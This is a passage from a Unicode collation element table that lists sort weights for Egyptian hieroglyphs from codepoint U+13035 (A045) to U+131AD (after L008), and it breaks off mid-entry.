+13035 ; [.4CB1.0020.0002] # EGYPTIAN HIEROGLYPH A045 +13036 ; [.4CB2.0020.0002] # EGYPTIAN HIEROGLYPH A045A +13037 ; [.4CB3.0020.0002] # EGYPTIAN HIEROGLYPH A046 +13038 ; [.4CB4.0020.0002] # EGYPTIAN HIEROGLYPH A047 +13039 ; [.4CB5.0020.0002] # EGYPTIAN HIEROGLYPH A048 +1303A ; [.4CB6.0020.0002] # EGYPTIAN HIEROGLYPH A049 +1303B ; [.4CB7.0020.0002] # EGYPTIAN HIEROGLYPH A050 +1303C ; [.4CB8.0020.0002] # EGYPTIAN HIEROGLYPH A051 +1303D ; [.4CB9.0020.0002] # EGYPTIAN HIEROGLYPH A052 +1303E ; [.4CBA.0020.0002] # EGYPTIAN HIEROGLYPH A053 +1303F ; [.4CBB.0020.0002] # EGYPTIAN HIEROGLYPH A054 +13040 ; [.4CBC.0020.0002] # EGYPTIAN HIEROGLYPH A055 +13041 ; [.4CBD.0020.0002] # EGYPTIAN HIEROGLYPH A056 +13042 ; [.4CBE.0020.0002] # EGYPTIAN HIEROGLYPH A057 +13043 ; [.4CBF.0020.0002] # EGYPTIAN HIEROGLYPH A058 +13044 ; [.4CC0.0020.0002] # EGYPTIAN HIEROGLYPH A059 +13045 ; [.4CC1.0020.0002] # EGYPTIAN HIEROGLYPH A060 +13046 ; [.4CC2.0020.0002] # EGYPTIAN HIEROGLYPH A061 +13047 ; [.4CC3.0020.0002] # EGYPTIAN HIEROGLYPH A062 +13048 ; [.4CC4.0020.0002] # EGYPTIAN HIEROGLYPH A063 +13049 ; [.4CC5.0020.0002] # EGYPTIAN HIEROGLYPH A064 +1304A ; [.4CC6.0020.0002] # EGYPTIAN HIEROGLYPH A065 +1304B ; [.4CC7.0020.0002] # EGYPTIAN HIEROGLYPH A066 +1304C ; [.4CC8.0020.0002] # EGYPTIAN HIEROGLYPH A067 +1304D ; [.4CC9.0020.0002] # EGYPTIAN HIEROGLYPH A068 +1304E ; [.4CCA.0020.0002] # EGYPTIAN HIEROGLYPH A069 +1304F ; [.4CCB.0020.0002] # EGYPTIAN HIEROGLYPH A070 +13050 ; [.4CCC.0020.0002] # EGYPTIAN HIEROGLYPH B001 +13051 ; [.4CCD.0020.0002] # EGYPTIAN HIEROGLYPH B002 +13052 ; [.4CCE.0020.0002] # EGYPTIAN HIEROGLYPH B003 +13053 ; [.4CCF.0020.0002] # EGYPTIAN HIEROGLYPH B004 +13054 ; [.4CD0.0020.0002] # EGYPTIAN HIEROGLYPH B005 +13055 ; [.4CD1.0020.0002] # EGYPTIAN HIEROGLYPH B005A +13056 ; [.4CD2.0020.0002] # EGYPTIAN HIEROGLYPH B006 +13057 ; [.4CD3.0020.0002] # EGYPTIAN HIEROGLYPH B007 +13058 ; [.4CD4.0020.0002] # EGYPTIAN HIEROGLYPH B008 +13059 ; [.4CD5.0020.0002] # EGYPTIAN HIEROGLYPH B009 +1305A ; [.4CD6.0020.0002] # EGYPTIAN HIEROGLYPH C001 +1305B ; [.4CD7.0020.0002] # EGYPTIAN HIEROGLYPH C002 +1305C ; [.4CD8.0020.0002] # EGYPTIAN HIEROGLYPH C002A +1305D ; [.4CD9.0020.0002] # EGYPTIAN HIEROGLYPH C002B +1305E ; [.4CDA.0020.0002] # EGYPTIAN HIEROGLYPH C002C +1305F ; [.4CDB.0020.0002] # EGYPTIAN HIEROGLYPH C003 +13060 ; [.4CDC.0020.0002] # EGYPTIAN HIEROGLYPH C004 +13061 ; [.4CDD.0020.0002] # EGYPTIAN HIEROGLYPH C005 +13062 ; [.4CDE.0020.0002] # EGYPTIAN HIEROGLYPH C006 +13063 ; [.4CDF.0020.0002] # EGYPTIAN HIEROGLYPH C007 +13064 ; [.4CE0.0020.0002] # EGYPTIAN HIEROGLYPH C008 +13065 ; [.4CE1.0020.0002] # EGYPTIAN HIEROGLYPH C009 +13066 ; [.4CE2.0020.0002] # EGYPTIAN HIEROGLYPH C010 +13067 ; [.4CE3.0020.0002] # EGYPTIAN HIEROGLYPH C010A +13068 ; [.4CE4.0020.0002] # EGYPTIAN HIEROGLYPH C011 +13069 ; [.4CE5.0020.0002] # EGYPTIAN HIEROGLYPH C012 +1306A ; [.4CE6.0020.0002] # EGYPTIAN HIEROGLYPH C013 +1306B ; [.4CE7.0020.0002] # EGYPTIAN HIEROGLYPH C014 +1306C ; [.4CE8.0020.0002] # EGYPTIAN HIEROGLYPH C015 +1306D ; [.4CE9.0020.0002] # EGYPTIAN HIEROGLYPH C016 +1306E ; [.4CEA.0020.0002] # EGYPTIAN HIEROGLYPH C017 +1306F ; [.4CEB.0020.0002] # EGYPTIAN HIEROGLYPH C018 +13070 ; [.4CEC.0020.0002] # EGYPTIAN HIEROGLYPH C019 +13071 ; [.4CED.0020.0002] # EGYPTIAN HIEROGLYPH C020 +13072 ; [.4CEE.0020.0002] # EGYPTIAN HIEROGLYPH C021 +13073 ; [.4CEF.0020.0002] # EGYPTIAN HIEROGLYPH C022 +13074 ; [.4CF0.0020.0002] # EGYPTIAN HIEROGLYPH C023 +13075 ; [.4CF1.0020.0002] # EGYPTIAN HIEROGLYPH C024 +13076 ; [.4CF2.0020.0002] # EGYPTIAN HIEROGLYPH D001 +13077 ; [.4CF3.0020.0002] # EGYPTIAN HIEROGLYPH D002 +13078 ; [.4CF4.0020.0002] # EGYPTIAN HIEROGLYPH D003 +13079 ; [.4CF5.0020.0002] # EGYPTIAN HIEROGLYPH D004 +1307A ; [.4CF6.0020.0002] # EGYPTIAN HIEROGLYPH D005 +1307B ; [.4CF7.0020.0002] # EGYPTIAN HIEROGLYPH D006 +1307C ; [.4CF8.0020.0002] # EGYPTIAN HIEROGLYPH D007 +1307D ; [.4CF9.0020.0002] # EGYPTIAN HIEROGLYPH D008 +1307E ; [.4CFA.0020.0002] # EGYPTIAN HIEROGLYPH D008A +1307F ; [.4CFB.0020.0002] # EGYPTIAN HIEROGLYPH D009 +13080 ; [.4CFC.0020.0002] # EGYPTIAN HIEROGLYPH D010 +13081 ; [.4CFD.0020.0002] # EGYPTIAN HIEROGLYPH D011 +13082 ; [.4CFE.0020.0002] # EGYPTIAN HIEROGLYPH D012 +13083 ; [.4CFF.0020.0002] # EGYPTIAN HIEROGLYPH D013 +13084 ; [.4D00.0020.0002] # EGYPTIAN HIEROGLYPH D014 +13085 ; [.4D01.0020.0002] # EGYPTIAN HIEROGLYPH D015 +13086 ; [.4D02.0020.0002] # EGYPTIAN HIEROGLYPH D016 +13087 ; [.4D03.0020.0002] # EGYPTIAN HIEROGLYPH D017 +13088 ; [.4D04.0020.0002] # EGYPTIAN HIEROGLYPH D018 +13089 ; [.4D05.0020.0002] # EGYPTIAN HIEROGLYPH D019 +1308A ; [.4D06.0020.0002] # EGYPTIAN HIEROGLYPH D020 +1308B ; [.4D07.0020.0002] # EGYPTIAN HIEROGLYPH D021 +1308C ; [.4D08.0020.0002] # EGYPTIAN HIEROGLYPH D022 +1308D ; [.4D09.0020.0002] # EGYPTIAN HIEROGLYPH D023 +1308E ; [.4D0A.0020.0002] # EGYPTIAN HIEROGLYPH D024 +1308F ; [.4D0B.0020.0002] # EGYPTIAN HIEROGLYPH D025 +13090 ; [.4D0C.0020.0002] # EGYPTIAN HIEROGLYPH D026 +13091 ; [.4D0D.0020.0002] # EGYPTIAN HIEROGLYPH D027 +13092 ; [.4D0E.0020.0002] # EGYPTIAN HIEROGLYPH D027A +13093 ; [.4D0F.0020.0002] # EGYPTIAN HIEROGLYPH D028 +13094 ; [.4D10.0020.0002] # EGYPTIAN HIEROGLYPH D029 +13095 ; [.4D11.0020.0002] # EGYPTIAN HIEROGLYPH D030 +13096 ; [.4D12.0020.0002] # EGYPTIAN HIEROGLYPH D031 +13097 ; [.4D13.0020.0002] # EGYPTIAN HIEROGLYPH D031A +13098 ; [.4D14.0020.0002] # EGYPTIAN HIEROGLYPH D032 +13099 ; [.4D15.0020.0002] # EGYPTIAN HIEROGLYPH D033 +1309A ; [.4D16.0020.0002] # EGYPTIAN HIEROGLYPH D034 +1309B ; [.4D17.0020.0002] # EGYPTIAN HIEROGLYPH D034A +1309C ; [.4D18.0020.0002] # EGYPTIAN HIEROGLYPH D035 +1309D ; [.4D19.0020.0002] # EGYPTIAN HIEROGLYPH D036 +1309E ; [.4D1A.0020.0002] # EGYPTIAN HIEROGLYPH D037 +1309F ; [.4D1B.0020.0002] # EGYPTIAN HIEROGLYPH D038 +130A0 ; [.4D1C.0020.0002] # EGYPTIAN HIEROGLYPH D039 +130A1 ; [.4D1D.0020.0002] # EGYPTIAN HIEROGLYPH D040 +130A2 ; [.4D1E.0020.0002] # EGYPTIAN HIEROGLYPH D041 +130A3 ; [.4D1F.0020.0002] # EGYPTIAN HIEROGLYPH D042 +130A4 ; [.4D20.0020.0002] # EGYPTIAN HIEROGLYPH D043 +130A5 ; [.4D21.0020.0002] # EGYPTIAN HIEROGLYPH D044 +130A6 ; [.4D22.0020.0002] # EGYPTIAN HIEROGLYPH D045 +130A7 ; [.4D23.0020.0002] # EGYPTIAN HIEROGLYPH D046 +130A8 ; [.4D24.0020.0002] # EGYPTIAN HIEROGLYPH D046A +130A9 ; [.4D25.0020.0002] # EGYPTIAN HIEROGLYPH D047 +130AA ; [.4D26.0020.0002] # EGYPTIAN HIEROGLYPH D048 +130AB ; [.4D27.0020.0002] # EGYPTIAN HIEROGLYPH D048A +130AC ; [.4D28.0020.0002] # EGYPTIAN HIEROGLYPH D049 +130AD ; [.4D29.0020.0002] # EGYPTIAN HIEROGLYPH D050 +130AE ; [.4D2A.0020.0002] # EGYPTIAN HIEROGLYPH D050A +130AF ; [.4D2B.0020.0002] # EGYPTIAN HIEROGLYPH D050B +130B0 ; [.4D2C.0020.0002] # EGYPTIAN HIEROGLYPH D050C +130B1 ; [.4D2D.0020.0002] # EGYPTIAN HIEROGLYPH D050D +130B2 ; [.4D2E.0020.0002] # EGYPTIAN HIEROGLYPH D050E +130B3 ; [.4D2F.0020.0002] # EGYPTIAN HIEROGLYPH D050F +130B4 ; [.4D30.0020.0002] # EGYPTIAN HIEROGLYPH D050G +130B5 ; [.4D31.0020.0002] # EGYPTIAN HIEROGLYPH D050H +130B6 ; [.4D32.0020.0002] # EGYPTIAN HIEROGLYPH D050I +130B7 ; [.4D33.0020.0002] # EGYPTIAN HIEROGLYPH D051 +130B8 ; [.4D34.0020.0002] # EGYPTIAN HIEROGLYPH D052 +130B9 ; [.4D35.0020.0002] # EGYPTIAN HIEROGLYPH D052A +130BA ; [.4D36.0020.0002] # EGYPTIAN HIEROGLYPH D053 +130BB ; [.4D37.0020.0002] # EGYPTIAN HIEROGLYPH D054 +130BC ; [.4D38.0020.0002] # EGYPTIAN HIEROGLYPH D054A +130BD ; [.4D39.0020.0002] # EGYPTIAN HIEROGLYPH D055 +130BE ; [.4D3A.0020.0002] # EGYPTIAN HIEROGLYPH D056 +130BF ; [.4D3B.0020.0002] # EGYPTIAN HIEROGLYPH D057 +130C0 ; [.4D3C.0020.0002] # EGYPTIAN HIEROGLYPH D058 +130C1 ; [.4D3D.0020.0002] # EGYPTIAN HIEROGLYPH D059 +130C2 ; [.4D3E.0020.0002] # EGYPTIAN HIEROGLYPH D060 +130C3 ; [.4D3F.0020.0002] # EGYPTIAN HIEROGLYPH D061 +130C4 ; [.4D40.0020.0002] # EGYPTIAN HIEROGLYPH D062 +130C5 ; [.4D41.0020.0002] # EGYPTIAN HIEROGLYPH D063 +130C6 ; [.4D42.0020.0002] # EGYPTIAN HIEROGLYPH D064 +130C7 ; [.4D43.0020.0002] # EGYPTIAN HIEROGLYPH D065 +130C8 ; [.4D44.0020.0002] # EGYPTIAN HIEROGLYPH D066 +130C9 ; [.4D45.0020.0002] # EGYPTIAN HIEROGLYPH D067 +130CA ; [.4D46.0020.0002] # EGYPTIAN HIEROGLYPH D067A +130CB ; [.4D47.0020.0002] # EGYPTIAN HIEROGLYPH D067B +130CC ; [.4D48.0020.0002] # EGYPTIAN HIEROGLYPH D067C +130CD ; [.4D49.0020.0002] # EGYPTIAN HIEROGLYPH D067D +130CE ; [.4D4A.0020.0002] # EGYPTIAN HIEROGLYPH D067E +130CF ; [.4D4B.0020.0002] # EGYPTIAN HIEROGLYPH D067F +130D0 ; [.4D4C.0020.0002] # EGYPTIAN HIEROGLYPH D067G +130D1 ; [.4D4D.0020.0002] # EGYPTIAN HIEROGLYPH D067H +130D2 ; [.4D4E.0020.0002] # EGYPTIAN HIEROGLYPH E001 +130D3 ; [.4D4F.0020.0002] # EGYPTIAN HIEROGLYPH E002 +130D4 ; [.4D50.0020.0002] # EGYPTIAN HIEROGLYPH E003 +130D5 ; [.4D51.0020.0002] # EGYPTIAN HIEROGLYPH E004 +130D6 ; [.4D52.0020.0002] # EGYPTIAN HIEROGLYPH E005 +130D7 ; [.4D53.0020.0002] # EGYPTIAN HIEROGLYPH E006 +130D8 ; [.4D54.0020.0002] # EGYPTIAN HIEROGLYPH E007 +130D9 ; [.4D55.0020.0002] # EGYPTIAN HIEROGLYPH E008 +130DA ; [.4D56.0020.0002] # EGYPTIAN HIEROGLYPH E008A +130DB ; [.4D57.0020.0002] # EGYPTIAN HIEROGLYPH E009 +130DC ; [.4D58.0020.0002] # EGYPTIAN HIEROGLYPH E009A +130DD ; [.4D59.0020.0002] # EGYPTIAN HIEROGLYPH E010 +130DE ; [.4D5A.0020.0002] # EGYPTIAN HIEROGLYPH E011 +130DF ; [.4D5B.0020.0002] # EGYPTIAN HIEROGLYPH E012 +130E0 ; [.4D5C.0020.0002] # EGYPTIAN HIEROGLYPH E013 +130E1 ; [.4D5D.0020.0002] # EGYPTIAN HIEROGLYPH E014 +130E2 ; [.4D5E.0020.0002] # EGYPTIAN HIEROGLYPH E015 +130E3 ; [.4D5F.0020.0002] # EGYPTIAN HIEROGLYPH E016 +130E4 ; [.4D60.0020.0002] # EGYPTIAN HIEROGLYPH E016A +130E5 ; [.4D61.0020.0002] # EGYPTIAN HIEROGLYPH E017 +130E6 ; [.4D62.0020.0002] # EGYPTIAN HIEROGLYPH E017A +130E7 ; [.4D63.0020.0002] # EGYPTIAN HIEROGLYPH E018 +130E8 ; [.4D64.0020.0002] # EGYPTIAN HIEROGLYPH E019 +130E9 ; [.4D65.0020.0002] # EGYPTIAN HIEROGLYPH E020 +130EA ; [.4D66.0020.0002] # EGYPTIAN HIEROGLYPH E020A +130EB ; [.4D67.0020.0002] # EGYPTIAN HIEROGLYPH E021 +130EC ; [.4D68.0020.0002] # EGYPTIAN HIEROGLYPH E022 +130ED ; [.4D69.0020.0002] # EGYPTIAN HIEROGLYPH E023 +130EE ; [.4D6A.0020.0002] # EGYPTIAN HIEROGLYPH E024 +130EF ; [.4D6B.0020.0002] # EGYPTIAN HIEROGLYPH E025 +130F0 ; [.4D6C.0020.0002] # EGYPTIAN HIEROGLYPH E026 +130F1 ; [.4D6D.0020.0002] # EGYPTIAN HIEROGLYPH E027 +130F2 ; [.4D6E.0020.0002] # EGYPTIAN HIEROGLYPH E028 +130F3 ; [.4D6F.0020.0002] # EGYPTIAN HIEROGLYPH E028A +130F4 ; [.4D70.0020.0002] # EGYPTIAN HIEROGLYPH E029 +130F5 ; [.4D71.0020.0002] # EGYPTIAN HIEROGLYPH E030 +130F6 ; [.4D72.0020.0002] # EGYPTIAN HIEROGLYPH E031 +130F7 ; [.4D73.0020.0002] # EGYPTIAN HIEROGLYPH E032 +130F8 ; [.4D74.0020.0002] # EGYPTIAN HIEROGLYPH E033 +130F9 ; [.4D75.0020.0002] # EGYPTIAN HIEROGLYPH E034 +130FA ; [.4D76.0020.0002] # EGYPTIAN HIEROGLYPH E034A +130FB ; [.4D77.0020.0002] # EGYPTIAN HIEROGLYPH E036 +130FC ; [.4D78.0020.0002] # EGYPTIAN HIEROGLYPH E037 +130FD ; [.4D79.0020.0002] # EGYPTIAN HIEROGLYPH E038 +130FE ; [.4D7A.0020.0002] # EGYPTIAN HIEROGLYPH F001 +130FF ; [.4D7B.0020.0002] # EGYPTIAN HIEROGLYPH F001A +13100 ; [.4D7C.0020.0002] # EGYPTIAN HIEROGLYPH F002 +13101 ; [.4D7D.0020.0002] # EGYPTIAN HIEROGLYPH F003 +13102 ; [.4D7E.0020.0002] # EGYPTIAN HIEROGLYPH F004 +13103 ; [.4D7F.0020.0002] # EGYPTIAN HIEROGLYPH F005 +13104 ; [.4D80.0020.0002] # EGYPTIAN HIEROGLYPH F006 +13105 ; [.4D81.0020.0002] # EGYPTIAN HIEROGLYPH F007 +13106 ; [.4D82.0020.0002] # EGYPTIAN HIEROGLYPH F008 +13107 ; [.4D83.0020.0002] # EGYPTIAN HIEROGLYPH F009 +13108 ; [.4D84.0020.0002] # EGYPTIAN HIEROGLYPH F010 +13109 ; [.4D85.0020.0002] # EGYPTIAN HIEROGLYPH F011 +1310A ; [.4D86.0020.0002] # EGYPTIAN HIEROGLYPH F012 +1310B ; [.4D87.0020.0002] # EGYPTIAN HIEROGLYPH F013 +1310C ; [.4D88.0020.0002] # EGYPTIAN HIEROGLYPH F013A +1310D ; [.4D89.0020.0002] # EGYPTIAN HIEROGLYPH F014 +1310E ; [.4D8A.0020.0002] # EGYPTIAN HIEROGLYPH F015 +1310F ; [.4D8B.0020.0002] # EGYPTIAN HIEROGLYPH F016 +13110 ; [.4D8C.0020.0002] # EGYPTIAN HIEROGLYPH F017 +13111 ; [.4D8D.0020.0002] # EGYPTIAN HIEROGLYPH F018 +13112 ; [.4D8E.0020.0002] # EGYPTIAN HIEROGLYPH F019 +13113 ; [.4D8F.0020.0002] # EGYPTIAN HIEROGLYPH F020 +13114 ; [.4D90.0020.0002] # EGYPTIAN HIEROGLYPH F021 +13115 ; [.4D91.0020.0002] # EGYPTIAN HIEROGLYPH F021A +13116 ; [.4D92.0020.0002] # EGYPTIAN HIEROGLYPH F022 +13117 ; [.4D93.0020.0002] # EGYPTIAN HIEROGLYPH F023 +13118 ; [.4D94.0020.0002] # EGYPTIAN HIEROGLYPH F024 +13119 ; [.4D95.0020.0002] # EGYPTIAN HIEROGLYPH F025 +1311A ; [.4D96.0020.0002] # EGYPTIAN HIEROGLYPH F026 +1311B ; [.4D97.0020.0002] # EGYPTIAN HIEROGLYPH F027 +1311C ; [.4D98.0020.0002] # EGYPTIAN HIEROGLYPH F028 +1311D ; [.4D99.0020.0002] # EGYPTIAN HIEROGLYPH F029 +1311E ; [.4D9A.0020.0002] # EGYPTIAN HIEROGLYPH F030 +1311F ; [.4D9B.0020.0002] # EGYPTIAN HIEROGLYPH F031 +13120 ; [.4D9C.0020.0002] # EGYPTIAN HIEROGLYPH F031A +13121 ; [.4D9D.0020.0002] # EGYPTIAN HIEROGLYPH F032 +13122 ; [.4D9E.0020.0002] # EGYPTIAN HIEROGLYPH F033 +13123 ; [.4D9F.0020.0002] # EGYPTIAN HIEROGLYPH F034 +13124 ; [.4DA0.0020.0002] # EGYPTIAN HIEROGLYPH F035 +13125 ; [.4DA1.0020.0002] # EGYPTIAN HIEROGLYPH F036 +13126 ; [.4DA2.0020.0002] # EGYPTIAN HIEROGLYPH F037 +13127 ; [.4DA3.0020.0002] # EGYPTIAN HIEROGLYPH F037A +13128 ; [.4DA4.0020.0002] # EGYPTIAN HIEROGLYPH F038 +13129 ; [.4DA5.0020.0002] # EGYPTIAN HIEROGLYPH F038A +1312A ; [.4DA6.0020.0002] # EGYPTIAN HIEROGLYPH F039 +1312B ; [.4DA7.0020.0002] # EGYPTIAN HIEROGLYPH F040 +1312C ; [.4DA8.0020.0002] # EGYPTIAN HIEROGLYPH F041 +1312D ; [.4DA9.0020.0002] # EGYPTIAN HIEROGLYPH F042 +1312E ; [.4DAA.0020.0002] # EGYPTIAN HIEROGLYPH F043 +1312F ; [.4DAB.0020.0002] # EGYPTIAN HIEROGLYPH F044 +13130 ; [.4DAC.0020.0002] # EGYPTIAN HIEROGLYPH F045 +13131 ; [.4DAD.0020.0002] # EGYPTIAN HIEROGLYPH F045A +13132 ; [.4DAE.0020.0002] # EGYPTIAN HIEROGLYPH F046 +13133 ; [.4DAF.0020.0002] # EGYPTIAN HIEROGLYPH F046A +13134 ; [.4DB0.0020.0002] # EGYPTIAN HIEROGLYPH F047 +13135 ; [.4DB1.0020.0002] # EGYPTIAN HIEROGLYPH F047A +13136 ; [.4DB2.0020.0002] # EGYPTIAN HIEROGLYPH F048 +13137 ; [.4DB3.0020.0002] # EGYPTIAN HIEROGLYPH F049 +13138 ; [.4DB4.0020.0002] # EGYPTIAN HIEROGLYPH F050 +13139 ; [.4DB5.0020.0002] # EGYPTIAN HIEROGLYPH F051 +1313A ; [.4DB6.0020.0002] # EGYPTIAN HIEROGLYPH F051A +1313B ; [.4DB7.0020.0002] # EGYPTIAN HIEROGLYPH F051B +1313C ; [.4DB8.0020.0002] # EGYPTIAN HIEROGLYPH F051C +1313D ; [.4DB9.0020.0002] # EGYPTIAN HIEROGLYPH F052 +1313E ; [.4DBA.0020.0002] # EGYPTIAN HIEROGLYPH F053 +1313F ; [.4DBB.0020.0002] # EGYPTIAN HIEROGLYPH G001 +13140 ; [.4DBC.0020.0002] # EGYPTIAN HIEROGLYPH G002 +13141 ; [.4DBD.0020.0002] # EGYPTIAN HIEROGLYPH G003 +13142 ; [.4DBE.0020.0002] # EGYPTIAN HIEROGLYPH G004 +13143 ; [.4DBF.0020.0002] # EGYPTIAN HIEROGLYPH G005 +13144 ; [.4DC0.0020.0002] # EGYPTIAN HIEROGLYPH G006 +13145 ; [.4DC1.0020.0002] # EGYPTIAN HIEROGLYPH G006A +13146 ; [.4DC2.0020.0002] # EGYPTIAN HIEROGLYPH G007 +13147 ; [.4DC3.0020.0002] # EGYPTIAN HIEROGLYPH G007A +13148 ; [.4DC4.0020.0002] # EGYPTIAN HIEROGLYPH G007B +13149 ; [.4DC5.0020.0002] # EGYPTIAN HIEROGLYPH G008 +1314A ; [.4DC6.0020.0002] # EGYPTIAN HIEROGLYPH G009 +1314B ; [.4DC7.0020.0002] # EGYPTIAN HIEROGLYPH G010 +1314C ; [.4DC8.0020.0002] # EGYPTIAN HIEROGLYPH G011 +1314D ; [.4DC9.0020.0002] # EGYPTIAN HIEROGLYPH G011A +1314E ; [.4DCA.0020.0002] # EGYPTIAN HIEROGLYPH G012 +1314F ; [.4DCB.0020.0002] # EGYPTIAN HIEROGLYPH G013 +13150 ; [.4DCC.0020.0002] # EGYPTIAN HIEROGLYPH G014 +13151 ; [.4DCD.0020.0002] # EGYPTIAN HIEROGLYPH G015 +13152 ; [.4DCE.0020.0002] # EGYPTIAN HIEROGLYPH G016 +13153 ; [.4DCF.0020.0002] # EGYPTIAN HIEROGLYPH G017 +13154 ; [.4DD0.0020.0002] # EGYPTIAN HIEROGLYPH G018 +13155 ; [.4DD1.0020.0002] # EGYPTIAN HIEROGLYPH G019 +13156 ; [.4DD2.0020.0002] # EGYPTIAN HIEROGLYPH G020 +13157 ; [.4DD3.0020.0002] # EGYPTIAN HIEROGLYPH G020A +13158 ; [.4DD4.0020.0002] # EGYPTIAN HIEROGLYPH G021 +13159 ; [.4DD5.0020.0002] # EGYPTIAN HIEROGLYPH G022 +1315A ; [.4DD6.0020.0002] # EGYPTIAN HIEROGLYPH G023 +1315B ; [.4DD7.0020.0002] # EGYPTIAN HIEROGLYPH G024 +1315C ; [.4DD8.0020.0002] # EGYPTIAN HIEROGLYPH G025 +1315D ; [.4DD9.0020.0002] # EGYPTIAN HIEROGLYPH G026 +1315E ; [.4DDA.0020.0002] # EGYPTIAN HIEROGLYPH G026A +1315F ; [.4DDB.0020.0002] # EGYPTIAN HIEROGLYPH G027 +13160 ; [.4DDC.0020.0002] # EGYPTIAN HIEROGLYPH G028 +13161 ; [.4DDD.0020.0002] # EGYPTIAN HIEROGLYPH G029 +13162 ; [.4DDE.0020.0002] # EGYPTIAN HIEROGLYPH G030 +13163 ; [.4DDF.0020.0002] # EGYPTIAN HIEROGLYPH G031 +13164 ; [.4DE0.0020.0002] # EGYPTIAN HIEROGLYPH G032 +13165 ; [.4DE1.0020.0002] # EGYPTIAN HIEROGLYPH G033 +13166 ; [.4DE2.0020.0002] # EGYPTIAN HIEROGLYPH G034 +13167 ; [.4DE3.0020.0002] # EGYPTIAN HIEROGLYPH G035 +13168 ; [.4DE4.0020.0002] # EGYPTIAN HIEROGLYPH G036 +13169 ; [.4DE5.0020.0002] # EGYPTIAN HIEROGLYPH G036A +1316A ; [.4DE6.0020.0002] # EGYPTIAN HIEROGLYPH G037 +1316B ; [.4DE7.0020.0002] # EGYPTIAN HIEROGLYPH G037A +1316C ; [.4DE8.0020.0002] # EGYPTIAN HIEROGLYPH G038 +1316D ; [.4DE9.0020.0002] # EGYPTIAN HIEROGLYPH G039 +1316E ; [.4DEA.0020.0002] # EGYPTIAN HIEROGLYPH G040 +1316F ; [.4DEB.0020.0002] # EGYPTIAN HIEROGLYPH G041 +13170 ; [.4DEC.0020.0002] # EGYPTIAN HIEROGLYPH G042 +13171 ; [.4DED.0020.0002] # EGYPTIAN HIEROGLYPH G043 +13172 ; [.4DEE.0020.0002] # EGYPTIAN HIEROGLYPH G043A +13173 ; [.4DEF.0020.0002] # EGYPTIAN HIEROGLYPH G044 +13174 ; [.4DF0.0020.0002] # EGYPTIAN HIEROGLYPH G045 +13175 ; [.4DF1.0020.0002] # EGYPTIAN HIEROGLYPH G045A +13176 ; [.4DF2.0020.0002] # EGYPTIAN HIEROGLYPH G046 +13177 ; [.4DF3.0020.0002] # EGYPTIAN HIEROGLYPH G047 +13178 ; [.4DF4.0020.0002] # EGYPTIAN HIEROGLYPH G048 +13179 ; [.4DF5.0020.0002] # EGYPTIAN HIEROGLYPH G049 +1317A ; [.4DF6.0020.0002] # EGYPTIAN HIEROGLYPH G050 +1317B ; [.4DF7.0020.0002] # EGYPTIAN HIEROGLYPH G051 +1317C ; [.4DF8.0020.0002] # EGYPTIAN HIEROGLYPH G052 +1317D ; [.4DF9.0020.0002] # EGYPTIAN HIEROGLYPH G053 +1317E ; [.4DFA.0020.0002] # EGYPTIAN HIEROGLYPH G054 +1317F ; [.4DFB.0020.0002] # EGYPTIAN HIEROGLYPH H001 +13180 ; [.4DFC.0020.0002] # EGYPTIAN HIEROGLYPH H002 +13181 ; [.4DFD.0020.0002] # EGYPTIAN HIEROGLYPH H003 +13182 ; [.4DFE.0020.0002] # EGYPTIAN HIEROGLYPH H004 +13183 ; [.4DFF.0020.0002] # EGYPTIAN HIEROGLYPH H005 +13184 ; [.4E00.0020.0002] # EGYPTIAN HIEROGLYPH H006 +13185 ; [.4E01.0020.0002] # EGYPTIAN HIEROGLYPH H006A +13186 ; [.4E02.0020.0002] # EGYPTIAN HIEROGLYPH H007 +13187 ; [.4E03.0020.0002] # EGYPTIAN HIEROGLYPH H008 +13188 ; [.4E04.0020.0002] # EGYPTIAN HIEROGLYPH I001 +13189 ; [.4E05.0020.0002] # EGYPTIAN HIEROGLYPH I002 +1318A ; [.4E06.0020.0002] # EGYPTIAN HIEROGLYPH I003 +1318B ; [.4E07.0020.0002] # EGYPTIAN HIEROGLYPH I004 +1318C ; [.4E08.0020.0002] # EGYPTIAN HIEROGLYPH I005 +1318D ; [.4E09.0020.0002] # EGYPTIAN HIEROGLYPH I005A +1318E ; [.4E0A.0020.0002] # EGYPTIAN HIEROGLYPH I006 +1318F ; [.4E0B.0020.0002] # EGYPTIAN HIEROGLYPH I007 +13190 ; [.4E0C.0020.0002] # EGYPTIAN HIEROGLYPH I008 +13191 ; [.4E0D.0020.0002] # EGYPTIAN HIEROGLYPH I009 +13192 ; [.4E0E.0020.0002] # EGYPTIAN HIEROGLYPH I009A +13193 ; [.4E0F.0020.0002] # EGYPTIAN HIEROGLYPH I010 +13194 ; [.4E10.0020.0002] # EGYPTIAN HIEROGLYPH I010A +13195 ; [.4E11.0020.0002] # EGYPTIAN HIEROGLYPH I011 +13196 ; [.4E12.0020.0002] # EGYPTIAN HIEROGLYPH I011A +13197 ; [.4E13.0020.0002] # EGYPTIAN HIEROGLYPH I012 +13198 ; [.4E14.0020.0002] # EGYPTIAN HIEROGLYPH I013 +13199 ; [.4E15.0020.0002] # EGYPTIAN HIEROGLYPH I014 +1319A ; [.4E16.0020.0002] # EGYPTIAN HIEROGLYPH I015 +1319B ; [.4E17.0020.0002] # EGYPTIAN HIEROGLYPH K001 +1319C ; [.4E18.0020.0002] # EGYPTIAN HIEROGLYPH K002 +1319D ; [.4E19.0020.0002] # EGYPTIAN HIEROGLYPH K003 +1319E ; [.4E1A.0020.0002] # EGYPTIAN HIEROGLYPH K004 +1319F ; [.4E1B.0020.0002] # EGYPTIAN HIEROGLYPH K005 +131A0 ; [.4E1C.0020.0002] # EGYPTIAN HIEROGLYPH K006 +131A1 ; [.4E1D.0020.0002] # EGYPTIAN HIEROGLYPH K007 +131A2 ; [.4E1E.0020.0002] # EGYPTIAN HIEROGLYPH K008 +131A3 ; [.4E1F.0020.0002] # EGYPTIAN HIEROGLYPH L001 +131A4 ; [.4E20.0020.0002] # EGYPTIAN HIEROGLYPH L002 +131A5 ; [.4E21.0020.0002] # EGYPTIAN HIEROGLYPH L002A +131A6 ; [.4E22.0020.0002] # EGYPTIAN HIEROGLYPH L003 +131A7 ; [.4E23.0020.0002] # EGYPTIAN HIEROGLYPH L004 +131A8 ; [.4E24.0020.0002] # EGYPTIAN HIEROGLYPH L005 +131A9 ; [.4E25.0020.0002] # EGYPTIAN HIEROGLYPH L006 +131AA ; [.4E26.0020.0002] # EGYPTIAN HIEROGLYPH L006A +131AB ; [.4E27.0020.0002] # EGYPTIAN HIEROGLYPH L007 +131AC ; [.4E28.0020.0002] # EGYPTIAN HIEROGLYPH L008 +131AD ; [.4E29.0020.0002] # 